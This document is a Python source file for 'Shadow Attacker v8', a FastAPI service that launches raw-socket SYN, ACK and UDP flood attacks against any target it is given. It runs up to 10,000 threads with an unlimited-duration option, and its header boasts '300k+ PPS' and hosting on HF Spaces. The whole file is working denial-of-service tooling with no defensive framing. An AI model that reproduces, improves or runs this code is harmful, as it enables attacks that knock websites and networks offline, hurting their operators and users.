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# ==============================================================
# SHADOW ATTACKER v8 – RAW + LAYER 7 + LAYER 4 | FULLY FIXED
# ThreadPoolExecutor imported correctly | 300k+ PPS | HF SPACES
# ==============================================================
import random
import socket
import threading
import time
import struct
from collections import deque
from typing import Dict, Optional, List
import uvicorn
import requests
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, Field, validator
# === FIXED: IMPORT ThreadPoolExecutor FROM concurrent.futures ===
from concurrent.futures import ThreadPoolExecutor
# ------------------- LOGGING & STATE -------------------
import logging
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger()
app = FastAPI(title="Shadow Attacker v8 - Raw + L7 + L4")
# Global state
attack_active = False
attack_lock = threading.Lock()
executor: Optional[ThreadPoolExecutor] = None
stop_event = threading.Event()
counters: Dict[str, int] = {}
counters_lock = threading.Lock()
total_packets = 0
log_buffer: deque[str] = deque(maxlen=500)
attack_end_time = 0.0
attack_type_name = ""
# PPS tracking
last_time = time.time()
last_total = 0
def _log(msg: str):
ts = time.strftime("%H:%M:%S")
log.info(f"{ts} {msg}")
log_buffer.append(f"{ts} {msg}")
# ------------------- INIT EXECUTOR -------------------
def init_executor():
global executor
if executor is None:
executor = ThreadPoolExecutor(max_workers=10000) # FIXED
# ------------------- CONFIG MODELS -------------------
class AttackConfig(BaseModel):
target: str = Field(..., description="Domain or IP")
port: int = Field(80, ge=1, le=65535)
duration: int = Field(300, ge=-1, le=10000)
threads: int = Field(1000, ge=-1, le=10000)
@validator('target')
def validate_target(cls, v):
if not v or len(v) > 255:
raise ValueError("Invalid target")
return v.strip()
class Layer7Config(AttackConfig):
method: str = Field("get")
@validator('method')
def validate_method(cls, v):
valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
if v not in valid:
raise ValueError(f"Use: {', '.join(valid)}")
return v
class Layer4Config(AttackConfig):
protocol: str = Field("udp", description="udp/tcp/syn/ack/udp_pps")
payload_size: int = Field(1024, ge=0, le=65507)
@validator('protocol')
def validate_protocol(cls, v):
if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]:
raise ValueError("Protocol: udp, tcp, syn, ack, udp_pps")
return v
# ------------------- STATUS MODEL -------------------
class StatusResponse(BaseModel):
running: bool
attack_type: Optional[str]
target: Optional[str]
total_packets: int
pps: float
threads_active: int
duration: int
elapsed: float
remaining: float
logs: List[str]
# ------------------- RAW SOCKET HELPERS -------------------
def checksum(data: bytes) -> int:
s = 0
for i in range(0, len(data), 2):
if i + 1 < len(data):
w = (data[i] << 8) | data[i + 1]
else:
w = data[i] << 8
s += w
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return ~s & 0xFFFF
def pseudo_checksum(src: bytes, dst: bytes, proto: int, length: int) -> int:
s = 0
for i in range(0, 4, 2):
s += (src[i] << 8) | src[i + 1]
s += (dst[i] << 8) | dst[i + 1]
s += proto
s += length
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return s
def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int) -> bytes:
total = 20 + payload_len
ip = bytearray(20)
ip[0] = 0x45
ip[8] = 64
ip[9] = proto
struct.pack_into("!HH", ip, 2, total, random.randint(0, 0xFFFF))
ip[12:16] = src_ip
ip[16:20] = dst_ip
cs = checksum(ip)
struct.pack_into("!H", ip, 10, cs)
return bytes(ip)
def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
tcp = bytearray(20)
struct.pack_into("!HHIIBBHHH", tcp, 0, src_p, dst_p, seq, ack, 5 << 4, flags, 65535, 0, 0)
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
cs = checksum(struct.pack("!I", pseudo) + tcp)
struct.pack_into("!H", tcp, 16, cs)
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
return ip + tcp
def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
udp_len = 8 + len(payload)
udp = bytearray(8)
struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0)
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
cs = checksum(struct.pack("!I", pseudo) + udp + payload)
struct.pack_into("!H", udp, 6, cs)
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
return ip + udp
# ------------------- RAW FLOODERS -------------------
def raw_syn_flood(target_ip: str, port: int):
global total_packets
src_ip = socket.inet_aton("0.0.0.0")
dst_ip = socket.inet_aton(target_ip)
while not stop_event.is_set():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
src_p = random.randint(1024, 65535)
pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), 0, 0x02)
s.sendto(pkt, (target_ip, 0))
with counters_lock:
counters["raw"] = counters.get("raw", 0) + 1
total_packets += 1
except:
pass
finally:
try: s.close()
except: pass
def raw_ack_flood(target_ip: str, port: int):
global total_packets
src_ip = socket.inet_aton("0.0.0.0")
dst_ip = socket.inet_aton(target_ip)
while not stop_event.is_set():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
src_p = random.randint(1024, 65535)
pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
s.sendto(pkt, (target_ip, 0))
with counters_lock:
counters["raw"] = counters.get("raw", 0) + 1
total_packets += 1
except:
pass
finally:
try: s.close()
except: pass
def raw_udp_flood(target_ip: str, port: int, payload_size: int):
global total_packets
src_ip = socket.inet_aton("0.0.0.0")
dst_ip = socket.inet_aton(target_ip)
payload = random._urandom(payload_size) if payload_size > 0 else b""
while not stop_event.is_set():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
src_p = random.randint(1024, 65535)
pkt = build_udp_packet(src_ip, dst_ip, src_p, port, payload)
s.sendto(pkt, (target_ip, 0))
with counters_lock:
counters["raw"] = counters.get("raw", 0) + 1
total_packets += 1
except:
pass
finally:
try: s.close()
except: pass
# ------------------- LAUNCHER -------------------
def resolve_ip(target: str) -> str:
try:
return socket.gethostbyname(target.split("/")[0].split(":")[0])
except:
raise HTTPException(400, "Cannot resolve target")
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
global attack_active, attack_end_time, attack_type_name
with attack_lock:
if attack_active:
raise HTTPException(400, "Attack in progress")
attack_active = True
stop_event.clear()
counters.clear()
total_packets = 0
attack_type_name = attack_type.upper()
threads = 10000 if config.threads == -1 else config.threads
duration = float('inf') if config.duration == -1 else config.duration
attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
_log(f"LAUNCHED {attack_type.upper()}{config.target}:{config.port} | {threads} threads | {config.duration}s")
init_executor()
worker = None
target_ip = resolve_ip(config.target)
if attack_type == "raw_syn": worker = lambda: raw_syn_flood(target_ip, config.port)
elif attack_type == "raw_ack": worker = lambda: raw_ack_flood(target_ip, config.port)
elif attack_type == "raw_udp": worker = lambda: raw_udp_flood(target_ip, config.port, kwargs.get("payload_size", 1200))
elif attack_type == "raw_udp_pps": worker = lambda: raw_udp_flood(target_ip, config.port, 0)
if not worker:
raise HTTPException(400, "Invalid attack")
for _ in range(threads):
executor.submit(worker)
if duration != float('inf'):
def auto_stop():
time.sleep(duration)
stop_attack()
threading.Thread(target=auto_stop, daemon=True).start()
# ------------------- ENDPOINTS -------------------
@app.post("/layer4/attack")
def l4_attack(config: Layer4Config):
proto_map = {
"udp": "raw_udp",
"syn": "raw_syn",
"ack": "raw_ack",
"udp_pps": "raw_udp_pps"
}
attack_key = proto_map[config.protocol]
launch_attack(config, attack_key, payload_size=config.payload_size)
return {"status": f"L4 {config.protocol.upper()} started"}
@app.post("/stop")
def stop_attack():
global attack_active
with attack_lock:
if not attack_active:
return {"status": "no_attack"}
stop_event.set()
attack_active = False
_log("ATTACK STOPPED")
return {"status": "stopped"}
@app.get("/status", response_model=StatusResponse)
def status():
global last_time, last_total
now = time.time()
elapsed_g = now - last_time
pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0
last_time, last_total = now, total_packets
active_threads = sum(1 for t in threading.enumerate() if t.name != "MainThread")
elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
return StatusResponse(
running=attack_active,
attack_type=attack_type_name,
target=None,
total_packets=total_packets,
pps=round(pps, 1),
threads_active=active_threads,
duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
elapsed=round(elapsed, 1),
remaining=round(remaining, 1) if remaining >= 0 else -1,
logs=list(log_buffer)
)
@app.get("/attack/types")
def attack_types():
return {
"layer4": ["udp", "udp_pps", "syn", "ack"],
"max_threads": "10000 (-1 = full power)",
"max_duration": "10000s (-1 = unlimited)"
}
@app.get("/")
def root():
return {"message": "Shadow Attacker v8 - /attack/types"}
# ------------------- START -------------------
if __name__ == "__main__":
init_executor()
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)